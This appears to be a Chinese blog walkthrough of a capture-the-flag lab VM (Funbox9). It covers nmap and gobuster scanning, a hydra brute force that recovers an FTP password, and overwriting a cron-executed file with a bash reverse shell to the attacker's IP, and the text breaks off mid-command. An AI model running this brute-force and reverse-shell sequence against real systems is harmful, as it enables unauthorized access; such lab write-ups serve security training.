nmap扫描----ftp匿名访问获取可能的用户名----hydra爆破ftp密码----ftp上传反弹shell,等定时任务执行获得shell----bash suid提权
环境信息:靶机:192.168.101.54
攻击机:192.168.101.34
具体步骤: 1、nmap扫描sudo nmap -sV -sC -p- 192.168.101.54
扫描到21端口(ftp,并且可以匿名登录)、22端口(ssh)、80端口(http)、3306端口(mysql)
先看看ftp里面有啥有用的信息。
浏览器访问ftp://192.168.101.54/,看到有一个welcome.msg,下载下来发现就是命令行登录ftp时候的欢迎语
欢迎语里面有个email,sky@funbox9,其中sky有可能是用户名
浏览器登录http://192.168.101.54,发现是个包含靶机介绍的apache默认页面
尝试扫描网站目录
gobuster dir -u http://192.168.101.54/ -w /usr/share/wordlists/dirb/big.txt
啥也没扫出来
ssh爆破半天没爆出来sky的密码,转而试试ftp密码爆破
hydra -l sky -P "/usr/share/wordlists/metasploit/unix_passwords.txt" ftp://192.168.101.54
sky用户的ftp密码是thebest
以用户名sky密码thebest登录靶机ftp
ls
查看当前目录下文件,发现有个user.flag文件。
get user.flag
下载user.flag到攻击机。
在攻击机上查看user.flag的内容,发现似乎是个shell脚本。
结合上图中sky用户对user.flag有写和执行的权限,如果可以修改该文件内容为反弹shell,然后上传到靶机上覆盖原来的文件,并执行,就可以获得靶机shell。
网上找了一圈没发现用ftp执行shell脚本的方法,那就只能祈祷执行user.flag是个定时任务了。
在攻击机上修改user.flag的内容
echo "bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/6666
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?